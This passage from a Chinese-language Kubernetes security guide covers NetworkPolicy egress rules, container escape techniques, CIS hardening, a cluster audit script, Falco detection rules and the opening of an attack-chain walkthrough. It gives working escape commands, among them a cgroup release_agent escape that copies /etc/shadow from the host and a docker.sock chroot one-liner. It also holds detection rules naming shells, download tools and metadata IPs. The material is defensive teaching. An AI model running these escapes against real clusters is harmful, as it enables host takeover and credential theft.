  name: allow-internet-block-metadata
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Egress
  egress:
  # ★ 先放行 DNS
  - to:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: kube-system
    ports:
    - protocol: UDP
      port: 53
  # ★ 放行内网和公网
  - to:
    - ipBlock:
        cidr: 10.0.0.0/8
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32        # ★★ 排除云元数据服务!
        - 169.254.170.2/32          # ECS 任务元数据
        - 100.100.100.200/32        # 阿里云元数据
★★ NetworkPolicy 的五个坑(踩过的都懂)

坑 1:★ 忘了放行 DNS → 整个命名空间的服务全挂
    现象:应用报 "could not resolve host"
    排查:kubectl exec -it pod -- nslookup kubernetes.default
    ★ 建议:把 DNS 规则做成 Kyverno 自动生成(见 10.4.5 策略 4)

坑 2:★ Egress 规则和 Ingress 规则是独立的
    很多人以为"我允许 A 访问 B"就双向通了
    ★ 错!Ingress 管入站,Egress 管出站,要分别写
    → A→B 需要:B 的 Ingress 允许 A,且 A 的 Egress 允许 B

坑 3:★ ipBlock 不能用来选 Pod
    ipBlock 只能写 CIDR(IP 段),不能写 Pod 标签
    ★ 原因:Pod IP 会变
    → 选 Pod 必须用 podSelector + namespaceSelector

坑 4:★ 健康检查会被挡
    kubelet 的 liveness/readiness probe 是从【节点】发起的
    如果你的 Ingress 规则没放行节点网段 → 探针失败 → Pod 被反复重启
    ★ 解决:放行节点 CIDR,或者用 Cilium 的 hostEntity 类型

坑 5:★ 网络策略没有日志(默认)
    出问题了你不知道是"被策略挡了"还是"服务本身挂了"
    → 解决:用 Cilium(有 Hubble,能看到被拒绝的连接)
           或 Calico 的 flow logs

★★★ 落地建议(重要):
    不要一上来就 default-deny-all 生产环境
    ✅ 正确顺序:
      ① 先只写 Ingress 拒绝(保留 Egress 全通)
         → 影响最小,能挡住大部分横向移动
      ② 观察 1~2 周
      ③ 再逐步收 Egress(★ 这个影响大,要按服务逐个梳理)
      ④ ★ 用 Cilium/Hubble 的"策略建议"功能自动生成规则

10.4.7 容器逃逸:从容器到宿主机

★ 名词:容器逃逸(Container Escape) 白话:从“容器里的进程”突破到“宿主机上的进程”。 ★ 逃出去之前你只能影响这一个容器; 逃出去之后你能看到这台机器上的所有容器、所有数据、kubelet 的凭据。

★ 先纠正一个认知:容器不是"虚拟机"

  虚拟机:有独立的操作系统内核,隔离靠【硬件虚拟化】
          ★ 逃出来需要攻破 hypervisor(很难)

  容器:  ★ 共享宿主机的同一个内核!
          隔离靠的是 Linux 内核的三个机制:
            ① Namespace(命名空间)—— 你看得见什么
               进程号、网络、文件系统挂载点、用户、主机名...
            ② Cgroups(控制组)—— 你能用多少
               CPU、内存、磁盘 IO
            ③ Capabilities / seccomp / MAC —— 你能做什么
               细粒度的权限控制

  ★★ 结论:容器的隔离是【软件隔离】,不是硬件隔离
      内核有漏洞 → 所有容器一起沦陷
      配置给多了(privileged)→ 隔离形同虚设

★ 六种逃逸手法(从“必须给的权限”到“内核漏洞”)

┌────────────────────────────────────────────────────────────────┐
│ 手法 1:★★★ 特权容器(privileged: true)                        │
├────────────────────────────────────────────────────────────────┤
│ ★ 白话:privileged = 把容器的所有限制都拆掉                      │
│   容器拿到宿主机的【全部 capabilities】,能访问所有设备          │
│                                                                  │
│ ★ 逃逸步骤(只要 3 条命令):                                    │
│   # 在特权容器里执行                                             │
│   fdisk -l                          # ① 看到宿主机的磁盘         │
│   mkdir /mnt/host && mount /dev/sda1 /mnt/host                  │
│                                     # ② 挂载宿主机根分区         │
│   chroot /mnt/host /bin/bash        # ③ ★ 切换到宿主机环境       │
│   → 现在你就是宿主机 root                                        │
│                                                                  │
│ ★ 更狠的(利用 cgroup release_agent,甚至不需要 mount):         │
│   # ① 挂载 cgroup 并创建一个子 cgroup                            │
│   mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp │
│   mkdir /tmp/cgrp/x                                             │
│   # ② 开启 notify_on_release                                     │
│   echo 1 > /tmp/cgrp/x/notify_on_release                         │
│   # ③ ★ 设置宿主机上要执行的命令                                 │
│   host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)  │
│   echo "$host_path/cmd" > /tmp/cgrp/release_agent                │
│   # ④ 写要执行的命令(在宿主机上以 root 执行)                    │
│   echo '#!/bin/sh' > /cmd                                        │
│   echo "cat /etc/shadow > $host_path/shadow.txt" >> /cmd         │
│   chmod +x /cmd                                                  │
│   # ⑤ 触发:让 cgroup 变空 → 内核调用 release_agent              │
│   sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"                   │
│   → ★ 宿主机执行了 /cmd,shadow 被拷出来                          │
└────────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────────┐
│ 手法 2:★★★ 挂载 Docker Socket(/var/run/docker.sock)          │
├────────────────────────────────────────────────────────────────┤
│ ★ 白话:Docker _socket = Docker 的"遥控器"                       │
│   拿到它 = 你能让 Docker 做任何事                                │
│   ★★ 而 Docker daemon 是【root 权限】运行的                      │
│                                                                  │
│ ★ 为什么有人会挂它:                                             │
│   - CI/CD 需要在容器里构建镜像(Docker-in-Docker)                │
│   - 监控工具需要收集容器信息                                      │
│   - ★ 图省事(最常见)                                            │
│                                                                  │
│ ★ 逃逸命令(一条搞定):                                          │
│   docker run -it --rm -v /:/host --privileged alpine chroot /host│
│   → 启动一个挂载宿主机根目录的特权容器                            │
│   → 宿主机沦陷                                                    │
│                                                                  │
│ ★ 检测:                                                          │
│   kubectl get pods -A -o json | jq '... 找 hostPath 含 docker.sock│
│                                                                  │
│ ★ 替代方案(不要挂 socket):                                     │
│   - 构建镜像:用 Kaniko / Buildah / BuildKit(rootless)          │
│   - 监控:用 cAdvisor(只读 /proc,不需要 socket)                │
│   - ★ 如果必须挂:用 dind + 独立的不带特权的 Docker daemon        │
└────────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────────┐
│ 手法 3:★★ 挂载宿主机敏感目录(hostPath)                        │
├────────────────────────────────────────────────────────────────┤
│ 常见危险挂载:                                                   │
│   /                    → 宿主机根目录(★ 直接改文件)             │
│   /etc                 → 改 /etc/crontab(计划任务)、/etc/passwd│
│   /var/log             → 可能读到其他容器的日志(含敏感信息)      │
│   /proc                → 能看到所有进程,能改内核参数             │
│   /var/lib/kubelet     → ★★ 里面有 kubeconfig 和所有 Pod 的       │
│                          ServiceAccount token!                  │
│   /root/.ssh           → 拿 SSH 私钥                             │
│   /var/run/docker.sock → 见手法 2                                │
│                                                                  │
│ ★★ 最阴险的是 /var/lib/kubelet:                                 │
│   里面存着该节点上【所有 Pod】的 SA token(投影卷的源文件)        │
│   → 拿到任意一个 → 变成那个 SA → 可能直接是集群管理员              │
└────────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────────┐
│ 手法 4:★★ 危险的 Linux Capabilities                             │
├────────────────────────────────────────────────────────────────┤
│ ★ 名词:Capabilities                                             │
│ 白话:把 root 的"万能权限"【拆成 40 多个小权限】,                │
│       容器默认只有其中 14 个,去掉了最危险的那些                  │
│                                                                  │
│ ★★ 给了这几个 = 基本等于给 root:                                │
│   CAP_SYS_ADMIN   → ★★ "新的 root",能 mount 文件系统、           │
│                      能改 cgroup、能干几乎所有事                   │
│   CAP_SYS_MODULE  → 能加载内核模块(★ 直接打进内核)              │
│   CAP_SYS_PTRACE  → 能 ptrace 宿主机上的进程(★ 注入代码)        │
│   CAP_NET_ADMIN   → 能改网络配置、能抓包(★ 嗅探其他容器流量)    │
│   CAP_DAC_READ_SEARCH → 能读宿主机任意文件(绕过文件权限)        │
│   CAP_DAC_OVERRIDE→ 能写宿主机任意文件                            │
│   CAP_SYS_RAWIO   → 能直接读写物理内存/磁盘                       │
│                                                                  │
│ ★ 检测命令:                                                     │
│   kubectl get pods -A -o json | jq -r '                          │
│     .items[] | select(                                           │
│       [.spec.containers[].securityContext.capabilities.add[]?    │
│        ] | any(. == "SYS_ADMIN" or . == "ALL")                   │
│     ) | .metadata.namespace + "/" + .metadata.name'              │
└────────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────────┐
│ 手法 5:★ 共享宿主机命名空间(hostPID / hostNetwork / hostIPC)   │
├────────────────────────────────────────────────────────────────┤
│ hostPID: true                                                    │
│   → 能看到宿主机【所有进程】(ps aux 显示的是宿主机的)            │
│   → ★ 配合 CAP_SYS_PTRACE:注入到其他容器的进程里                 │
│   → ★ 能看到其他容器的环境变量(★ 环境变量里常有密码!)           │
│     cat /proc/<pid>/environ | tr '\0' '\n'                       │
│                                                                  │
│ hostNetwork: true                                                │
│   → 用宿主机网络栈                                                │
│   → ★ 能访问 localhost 上的所有服务                               │
│     (包括 kubelet 的 10250、etcd 的 2379!)                     │
│   → ★ 能抓到宿主机所有网络流量                                    │
│                                                                  │
│ hostIPC: true                                                    │
│   → 共享内存,能读写其他进程的共享内存段                          │
└────────────────────────────────────────────────────────────────┘

┌────────────────────────────────────────────────────────────────┐
│ 手法 6:★ 内核漏洞(配置没问题也会中招)                          │
├────────────────────────────────────────────────────────────────┤
│ 著名漏洞:                                                       │
│   CVE-2019-5736  runc 逃逸                                       │
│     → 通过 /proc/self/exe 覆盖宿主机上的 runc 二进制              │
│   CVE-2019-14271 Docker cp 漏洞                                  │
│   CVE-2021-30465 runc 符号链接竞态                               │
│   CVE-2022-0847  ★ Dirty Pipe(脏管道)                          │
│     → 能覆写任意只读文件,包括宿主机上的                          │
│     → ★ 影响 Linux 5.8+,几乎当时所有容器环境都中招               │
│   CVE-2022-0185  unprivileged 也能利用的堆溢出                    │
│   CVE-2024-21626 runc "Leaky Vessels"(★ 较新)                  │
│     → 通过 /proc/self/fd 泄露宿主机文件系统句柄                   │
│                                                                  │
│ ★★ 关键认知:                                                    │
│   ★ 内核漏洞导致的逃逸,【任何配置层面的加固都挡不住】            │
│   → 对策只有三个:                                                │
│     ① 及时打内核补丁(★ 云托管的 K8s 会自动帮你打节点补丁)        │
│     ② 【更强的隔离】—— gVisor / Kata Containers                  │
│     ③ 【不共享内核】—— 用虚拟机级别的隔离                         │
└────────────────────────────────────────────────────────────────┘

★ 四种隔离强度:普通容器 → 虚拟机

┌──────────────────┬──────────────────────────────────────────────┐
│ 隔离方案          │ 说明 + 代价                                    │
├──────────────────┼──────────────────────────────────────────────┤
│ ① 普通容器        │ runc + namespace + cgroup                     │
│ (runc)            │ 共享内核                                       │
│                  │ ★ 性能:100%(基准)                            │
│                  │ ★ 安全:一般,内核漏洞即沦陷                     │
│                  │ → 适用:可信的内部业务(99% 的场景)             │
├──────────────────┼──────────────────────────────────────────────┤
│ ② ★ gVisor       │ Google 出品,在容器和内核之间插一层             │
│ (runsc)           │ "用户态内核",容器里的系统调用由它接管          │
│                  │ ★ 攻击者要攻破 gVisor 才能碰到真内核            │
│                  │ ★ 性能:约 80~90%(系统调用密集的应用损失大)   │
│                  │ ★ 代价:部分系统调用不支持,兼容性有坑          │
│                  │ → 适用:★ 运行不可信代码(如用户上传的代码、     │
│                  │   Serverless 多租户、CI 构建)                  │
├──────────────────┼──────────────────────────────────────────────┤
│ ③ ★★ Kata        │ 每个 Pod 跑在一个【轻量级虚拟机】里             │
│ Containers        │ ★ 有独立的 guest 内核                          │
│                  │ ★ 性能:约 95%(启动稍慢,~100ms)              │
│                  │ ★ 安全:★★ 接近虚拟机                          │
│                  │ → 适用:★ 多租户、金融、不可信负载              │
├──────────────────┼──────────────────────────────────────────────┤
│ ④ ★★★ 用户命名空间│ ★ Linux 内核原生特性,K8s 1.25+ 支持          │
│ (User Namespace)  │ 容器内的 root = 宿主机的普通用户(UID 映射)    │
│                  │ ★ 即使逃逸出来,也只是个 nobody                 │
│                  │ ★ 性能:几乎无损失                              │
│                  │ ★ 代价:需要内核和运行时支持,部分场景有兼容问题 │
│                  │ → ★ 2026 年最值得关注的方向(成本最低收益最高) │
└──────────────────┴──────────────────────────────────────────────┘

★★ 务实建议:
   ① 所有业务 Pod:PSA restricted + 非 root + 只读根文件系统
      (★ 这能挡住 90% 的实际逃逸手法)
   ② 运行不可信代码的 Pod:gVisor 或 Kata
   ③ 节点的宿主机本身:最小化安装、及时打补丁、禁止 SSH
   ④ ★ 不要在容器里跑任何需要真的 root 的东西
# ★ 用 RuntimeClass 给敏感 Pod 用 gVisor
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc                    # ★ 对应 containerd 里配置的 runtime
---
apiVersion: v1
kind: Pod
metadata:
  name: untrusted-code-runner
spec:
  runtimeClassName: gvisor        # ★ 就这一行
  containers:
  - name: runner
    image: code-runner:1.0

10.4.8 控制面与节点加固(CIS 基线)

★ 名词:CIS Benchmark(CIS 基线) 白话:互联网安全中心(CIS)发布的一份“配置检查清单”, 告诉你 K8s 的哪些默认配置不安全,应该怎么改。 ★ 等保 2.0 的 K8s 部分、很多公司的安全规范都参考它。

# ============================================================
# kube-bench:自动跑 CIS 基线检查(★ 必做)
# ============================================================

# 方式 1:直接在节点上跑
docker run --rm --pid=host --net=host --cap-add=audit-control \
  -v /etc:/etc:ro -v /var:/var:ro -v /usr/bin:/usr/bin:ro \
  -v /tmp:/tmp \
  aquasec/kube-bench:latest run --targets master

# 方式 2:★ 在集群里跑成 Job(推荐,一次扫所有节点)
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job-master.yaml
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job-node.yaml
kubectl logs job/kube-bench-master

# 输出示例:
#   == Summary ==
#   45 checks PASS
#   12 checks FAIL          ← ★ 这些要修
#   8 checks WARN
#   0 checks INFO
#
#   [FAIL] 1.2.20 Ensure that the --profiling argument is set to false (Automated)
#   [FAIL] 1.3.2  Ensure that the --profiling argument is set to false (Automated)
#   [FAIL] 4.2.6  Ensure that the --protect-kernel-defaults argument is set to true
#   ...

# ★ 按严重度排序优先修:
#   ① 认证相关(匿名访问、--insecure-port)
#   ② 授权相关(--authorization-mode=AlwaysAllow)
#   ③ 加密相关(etcd 未加密、TLS 证书)
#   ④ 审计相关(未开启审计日志)

★ 最关键的十几项加固(手工核对清单)

═══════════════════════════════════════════════════════════════
 ① ★★★ kubelet 匿名认证(必须关闭)
═══════════════════════════════════════════════════════════════
    ★ 风险:kubelet 的 10250 端口如果允许匿名访问,
      任何人 curl 一下就能拿到该节点所有 Pod 的信息、所有 Secret,
      还能 exec 进容器(★ 等于节点 root)

    检查:
      curl -sk https://<node-ip>:10250/pods
      # ★ 如果能返回 JSON = 匿名访问开着 = 严重问题

    修复(/var/lib/kubelet/config.yaml):
      authentication:
        anonymous:
          enabled: false          # ★★★ 关掉
        webhook:
          enabled: true
      authorization:
        mode: Webhook             # ★ 不要 AlwaysAllow

═══════════════════════════════════════════════════════════════
 ② ★★★ kubelet 只读端口 10255(必须关闭)
═══════════════════════════════════════════════════════════════
    ★ 风险:10255 是【无需认证】的只读端口,能看到所有 Pod 信息

    修复:
      # /var/lib/kubelet/config.yaml 或启动参数
      readOnlyPort: 0             # ★ 设为 0 = 关闭

    检查:
      curl http://<node-ip>:10255/pods    # 应该连不上

═══════════════════════════════════════════════════════════════
 ③ ★★★ API Server 匿名认证(生产必须关闭)
═══════════════════════════════════════════════════════════════
    检查(不开任何凭据):
      curl -k https://<apiserver>:6443/api/v1/namespaces
      # 返回 403 Forbidden = 正常
      # 返回命名空间列表 = ★★ 匿名可读 = 严重

    修复(kube-apiserver 启动参数):
      --anonymous-auth=false

    ★ 注意:关闭后 /healthz 等健康检查也要能访问,
            需要额外配置 --authentication-token-webhook 或用 authn 白名单

═══════════════════════════════════════════════════════════════
 ④ ★★★ etcd 的 TLS 与访问控制
═══════════════════════════════════════════════════════════════
    ★ 风险:etcd 存着整个集群的所有数据(含所有 Secret)
            如果 etcd 端口对内网开放且无认证 → 一条命令拿走全部

    检查:
      # 该命令【不应该】能成功(除非有证书)
      etcdctl --endpoints=http://<etcd-ip>:2379 get / --prefix --keys-only
      # ★ 如果返回了大量 key = 未启用客户端证书认证 = ★★★ 立即修复

    修复(etcd 启动参数):
      --client-cert-auth=true
      --cert-file=/etc/kubernetes/pki/etcd/server.crt
      --key-file=/etc/kubernetes/pki/etcd/server.key
      --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
      --peer-client-cert-auth=true       # ★ 节点间通信也要认证
      # ★ 防火墙:2379/2380 只允许 master 节点和 apiserver 访问

═══════════════════════════════════════════════════════════════
 ⑤ ★★ API Server 审计日志(★ 出事后唯一能追溯的东西)
═══════════════════════════════════════════════════════════════
    ★ 默认【不开启】!必须手工配置

    配置(audit-policy.yaml):
      apiVersion: audit.k8s.io/v1
      kind: Policy
      rules:
      # ★ 不记录只读的健康检查(避免日志爆炸)
      - level: None
        users: ["system:kube-proxy"]
        verbs: ["watch"]
        resources:
        - group: ""
          resources: ["endpoints", "services", "services/status"]
      - level: None
        nonResourceURLs: ["/healthz*", "/readyz*", "/livez*", "/metrics"]

      # ★★ Secret 的访问(★ 审计重点)
      - level: Metadata
        resources:
        - group: ""
          resources: ["secrets", "configmaps"]

      # ★★★ 这些高危操作要记录请求和响应体
      - level: RequestResponse
        resources:
        - group: ""
          resources: ["pods/exec", "pods/attach", "pods/portforward"]
        - group: ""
          resources: ["serviceaccounts/token"]
        - group: "rbac.authorization.k8s.io"

      # 其他记录元数据
      - level: Metadata

    启动参数:
      --audit-policy-file=/etc/kubernetes/audit-policy.yaml
      --audit-log-path=/var/log/kubernetes/audit.log
      --audit-log-maxage=30
      --audit-log-maxbackup=10
      --audit-log-maxsize=100

═══════════════════════════════════════════════════════════════
 ⑥ ★★ 关闭 profiling(信息泄露 + 性能)
═══════════════════════════════════════════════════════════════
    kube-apiserver --profiling=false
    kube-controller-manager --profiling=false
    kube-scheduler --profiling=false
    kubelet --profiling=false

    ★ 风险:/debug/pprof 端点会泄露内存、goroutine、CPU 剖析数据

═══════════════════════════════════════════════════════════════
 ⑦ ★★ 关闭不安全端口
═══════════════════════════════════════════════════════════════
    kube-apiserver       --insecure-port=0       (1.20+ 已移除)
    kube-controller-manager --port=0             # ★ 10252 无认证端口
    kube-scheduler          --port=0             # ★ 10251 无认证端口
    kubelet              readOnlyPort: 0

    ★ 检查:
      curl http://<master>:10252/metrics   # 应该连不上
      curl http://<master>:10251/metrics   # 应该连不上

═══════════════════════════════════════════════════════════════
 ⑧ ★★ 保护内核参数(protect-kernel-defaults)
═══════════════════════════════════════════════════════════════
    kubelet --protect-kernel-defaults=true
    # ★ 防止容器修改宿主机的内核参数(sysctl)

═══════════════════════════════════════════════════════════════
 ⑨ ★★ RBAC 授权模式(不能用 AlwaysAllow)
═══════════════════════════════════════════════════════════════
    kube-apiserver --authorization-mode=Node,RBAC
    # ★ 不能是 AlwaysAllow(那是"所有人都是管理员")

═══════════════════════════════════════════════════════════════
 ⑩ ★★ 准入控制器插件(★ 至少要有这几个)
═══════════════════════════════════════════════════════════════
    --enable-admission-plugins=NodeRestriction,PodSecurity,ResourceQuota,LimitRanger

    ★ NodeRestriction:★ 限制 kubelet 只能改自己节点上的资源
      (否则任何一个节点沦陷 = 整个集群沦陷)

═══════════════════════════════════════════════════════════════
 ⑪ ★★ TLS 证书有效期与轮换
═══════════════════════════════════════════════════════════════
    # 查看证书过期时间
    kubeadm certs check-expiration

    # 续期
    kubeadm certs renew all

    ★ 建议:监控证书过期时间,提前 30 天告警
    ★ 用 cert-manager 自动化业务证书

═══════════════════════════════════════════════════════════════
 ⑫ ★ 不要用 docker.sock / containerd.sock 挂载(见 10.4.7)
═══════════════════════════════════════════════════════════════
# ============================================================
# ★ 集群安全自检一键脚本(接手新集群必跑)
# ============================================================
#!/bin/bash
# k8s_security_check.sh

echo "════ 1. kubelet 匿名访问检查 ════"
for node in $(kubectl get nodes -o jsonpath='{.items[*].status.addresses[?(@.type=="InternalIP")].address}'); do
  CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 "https://$node:10250/pods" 2>/dev/null)
  if [ "$CODE" == "200" ]; then
    echo "  ★★★ [严重] 节点 $node 的 kubelet 允许匿名访问!"
  elif [ "$CODE" == "401" ] || [ "$CODE" == "403" ]; then
    echo "  ✓ 节点 $node 正常(需要认证)"
  else
    echo "  - 节点 $node 无法连接(可能被防火墙挡住):$CODE"
  fi
done

echo ""
echo "════ 2. kubelet 只读端口 10255 ════"
for node in $(kubectl get nodes -o jsonpath='{.items[*].status.addresses[?(@.type=="InternalIP")].address}'); do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 "http://$node:10255/pods" 2>/dev/null)
  [ "$CODE" == "200" ] && echo "  ★★★ [严重] $node 的 10255 端口开放!" || echo "  ✓ $node 正常"
done

echo ""
echo "════ 3. 特权容器 / hostPath / hostPID 检查 ════"
kubectl get pods -A -o json | jq -r '
  .items[]
  | . as $pod
  | [
      (.spec.containers[]? | select(
          (.securityContext.privileged == true)
          or ((.securityContext.capabilities.add // []) | any(. == "SYS_ADMIN" or . == "ALL"))
          or (.securityContext.allowPrivilegeEscalation == true)
       ) | "容器 \(.name) 有危险 securityContext"),
      (select(.spec.hostPID == true) | "★ hostPID"),
      (select(.spec.hostNetwork == true) | "★ hostNetwork"),
      (select(.spec.hostIPC == true) | "★ hostIPC"),
      (.spec.volumes[]? | select(.hostPath.path != null) | "★ hostPath: \(.hostPath.path)")
    ]
  | select(length > 0)
  | "  [!] \($pod.metadata.namespace)/\($pod.metadata.name): " + join(", ")
'

echo ""
echo "════ 4. 挂载 docker.sock 的 Pod ════"
kubectl get pods -A -o json | jq -r '
  .items[]
  | . as $pod
  | (.spec.volumes[]? | select(
      (.hostPath.path // "") | test("docker.sock|containerd.sock|crio.sock")
    ))
  | "  ★★★ [严重] \($pod.metadata.namespace)/\($pod.metadata.name) 挂载了 \(.hostPath.path)"
'

echo ""
echo "════ 5. 以 root 运行的 Pod ════"
kubectl get pods -A -o json | jq -r '
  .items[]
  | . as $pod
  | (.spec.containers[]? | select(
        (.securityContext.runAsUser == 0)
        or ((.securityContext.runAsNonRoot != true) and (.securityContext.runAsUser == null))
     ))
  | "  [!] \($pod.metadata.namespace)/\($pod.metadata.name) 容器 \(.name) 可能以 root 运行"
' | head -30

echo ""
echo "════ 6. 能读所有 Secret 的 ClusterRole ════"
kubectl get clusterroles -o json | jq -r '
  .items[]
  | select(.metadata.name | startswith("system:") | not)
  | . as $cr
  | (($cr.rules // [])[]) as $r
  | select((($r.resources // []) | any(. == "secrets" or . == "*"))
           and (($r.verbs // []) | any(. == "get" or . == "list" or . == "*")))
  | "  ★★ \($cr.metadata.name)"
'

echo ""
echo "════ 7. 命名空间的 Pod Security 标准 ════"
kubectl get namespaces -o custom-columns=\
'NAMESPACE:.metadata.name,'\
'ENFORCE:.metadata.labels.pod-security\.kubernetes\.io/enforce,'\
'AUDIT:.metadata.labels.pod-security\.kubernetes\.io/audit'
# ★ 期望:生产命名空间应该是 restricted,DEV 至少 baseline

echo ""
echo "════ 8. NetworkPolicy 覆盖情况 ════"
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
  COUNT=$(kubectl get networkpolicy -n $ns --no-headers 2>/dev/null | wc -l)
  if [ "$COUNT" -eq 0 ]; then
    echo "  ★ [!] 命名空间 $ns 没有任何 NetworkPolicy(默认全通)"
  else
    echo "  ✓ 命名空间 $ns 有 $COUNT 条策略"
  fi
done

10.4.9 运行时检测:Falco(K8s 的“监控摄像头”)

★ 名词:Falco 白话:K8s 的入侵检测系统(IDS)。 它盯着系统调用(syscall),发现异常行为就告警。 ★ CNCF 毕业项目,是目前最主流的容器运行时安全工具。

★ 名词:eBPF 白话:在 Linux 内核里安全地运行小程序的技术,不用改内核代码、不用加载模块。 ★ Falco 的现代版本用 eBPF 来采集系统调用(老版本用内核模块)。 生活类比:在水管上装一个传感器测水流,而不是把水管拆开看。

★ Falco 能发现什么(举些真实的)

  ✓ 容器里启动了 shell(★ 正常业务容器不会有 bash)
  ✓ 容器里读写了敏感文件(/etc/shadow、/etc/crontab)
  ✓ 挂载了 docker.sock
  ✓ 容器里执行了 chmod +s(提权)
  ✓ 往 /usr/bin 等系统目录写文件
  ✓ 容器建立了意外的外网连接(挖矿特征)
  ✓ 读取了 ServiceAccount token(★ 攻击链的第一步)
  ✓ 容器逃逸尝试(如调用 setns、unshare)
  ✓ Pod 使用了特权模式
  ✓ 访问了云元数据服务 169.254.169.254(★ SSRF 特征)
# ============================================================
# Falco 自定义规则(★ 生产可用)
# 文件:/etc/falco/rules.d/custom_rules.yaml
# ============================================================
- rule: 容器里启动了 shell
  desc: 检测到容器内启动了交互式 shell,可能是攻击者进入了容器
  condition: >
    spawned_process
    and container.id != host
    and proc.name in (shell_binaries)
    and not container.image.repository in (allowed_shell_images)
  output: >
    ★ 容器内启动 shell (容器=%container.name 镜像=%container.image.repository
    命令=%proc.cmdline 用户=%user.name 命名空间=%k8s.ns.name Pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, shell, mitre_execution]

# ★ 定义允许有 shell 的镜像(运维容器)
- list: allowed_shell_images
  items: ["alpine", "busybox", "nicolaka/netshoot", "corerad/debug"]
---
- rule: 读取了 ServiceAccount Token
  desc: ★ 这是 K8s 攻击链的第一步,必须告警
  condition: >
    open_read
    and container.id != host
    and fd.name startswith /var/run/secrets/kubernetes.io/serviceaccount
    and not proc.pname in (kubelet, containerd)
  output: >
    ★★ 有进程读取了 SA Token (进程=%proc.cmdline 容器=%container.name
    Pod=%k8s.pod.name 命名空间=%k8s.ns.name)
  priority: CRITICAL
  tags: [k8s, credentials, mitre_credential_access]
---
- rule: 访问云元数据服务
  desc: ★ SSRF / 凭据窃取特征
  condition: >
    outbound
    and fd.sip in ("169.254.169.254", "100.100.100.200", "169.254.170.2")
    and container.id != host
  output: >
    ★★★ 容器访问了云元数据服务 (进程=%proc.cmdline 容器=%container.name
    目标=%fd.sip Pod=%k8s.pod.name)
  priority: CRITICAL
  tags: [cloud, metadata, ssrf, mitre_credential_access]
---
- rule: 容器里写入敏感系统目录
  desc: 可能是植入后门或提权
  condition: >
    open_write
    and container.id != host
    and fd.name startswith /etc/
    and fd.name in (/etc/passwd, /etc/shadow, /etc/sudoers,
                    /etc/crontab, /etc/ld.so.preload)
  output: >
    ★★★ 容器写入了敏感系统文件 (文件=%fd.name 进程=%proc.cmdline
    容器=%container.name Pod=%k8s.pod.name)
  priority: CRITICAL
  tags: [container, persistence, mitre_persistence]
---
- rule: 挂载了容器运行时 socket
  desc: ★ 这是容器逃逸的强信号
  condition: >
    (open_read or open_write)
    and container.id != host
    and fd.name in (/var/run/docker.sock, /run/docker.sock,
                    /var/run/containerd/containerd.sock,
                    /run/containerd/containerd.sock)
  output: >
    ★★★ 容器访问了容器运行时 socket (进程=%proc.cmdline 容器=%container.name
    文件=%fd.name Pod=%k8s.pod.name)
  priority: CRITICAL
  tags: [container, escape, mitre_privilege_escalation]
---
- rule: 容器里执行了包管理器(下载木马)
  desc: 正常生产容器不应该在运行中装软件
  condition: >
    spawned_process
    and container.id != host
    and proc.name in (apt, apt-get, yum, dnf, apk, pip, pip3, npm, wget, curl)
    and not container.image.repository in (allowed_build_images)
  output: >
    ★ 容器内执行了下载/安装命令 (命令=%proc.cmdline 容器=%container.name
    Pod=%k8s.pod.name 镜像=%container.image.repository)
  priority: WARNING
  tags: [container, network, mitre_command_and_control]

- list: allowed_build_images
  items: []
---
- rule: 检测到挖矿特征
  desc: 连接已知矿池端口或使用矿池域名
  condition: >
    outbound
    and container.id != host
    and (fd.sport in (3333, 4444, 5555, 7777, 8888, 9999, 14444, 45700)
         or fd.sip in (known_mining_pools))
  output: >
    ★★★ 疑似挖矿行为 (目标=%fd.sip:%fd.sport 进程=%proc.cmdline
    容器=%container.name Pod=%k8s.pod.name)
  priority: CRITICAL
  tags: [crypto_mining, mitre_impact]
# ============================================================
# 部署 Falco(Helm)
# ============================================================
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
  --namespace falco --create-namespace \
  --set driver.kind=ebpf \                      # ★ 用 eBPF(现代内核推荐)
  --set falcosidekick.enabled=true \            # ★ 告警转发
  --set falcosidekick.webhook.enabled=true \
  --set falcosidekick.webhook.address=http://your-webhook:8080/falco

# 测试规则是否生效(★ 一定要测!)
kubectl exec -it <any-pod> -- sh -c "cat /etc/shadow"
# → Falco 应该立刻报 CRITICAL 告警

# 看告警
kubectl logs -n falco -l app.kubernetes.io/name=falco -f
★ Falco 的三个现实问题(诚实说明)

  ① 【误报多】
     很多正常操作(如 init 容器、调试)会触发告警
     → 应对:★ 必须做"画像+白名单",按命名空间/镜像调整规则
     → 建议:先只开 CRITICAL 级别告警,WARNING 只记录

  ② 【性能开销】
     eBPF 模式约 1~3% CPU 开销
     ★ 但在 syscall 密集的应用(如 Redis、数据库)上可能到 5~10%
     → 应对:生产环境先灰度,压测确认

  ③ ★【只能检测,不能阻断】
     Falco 发现攻击时,攻击【已经在发生了】
     → 应对:配合 Falco Sidekick + K8s 自动响应
            (如:发现挖矿 → 自动删除 Pod + 隔离节点)
     → ★ 但自动阻断有风险(误报会打掉正常业务),
        建议先只做【告警 + 人工确认】,成熟后再自动化

10.4.10 K8s 攻防实战:完整攻击链与防守对照

═══════════════════════════════════════════════════════════════
 场景:攻击者通过一个对外 Web 应用的 RCE 进入了集群
 目标:拿到集群管理员权限 + 拿下所有节点
═══════════════════════════════════════════════════════════════

【第 1 步】立足:我在哪?我是谁?
─────────────────────────────────────────────────────────
  攻击:
    cat /proc/self/cgroup          # 判断是否在容器里
    env | grep KUBERNETES          # 判断是否在 K8s 里
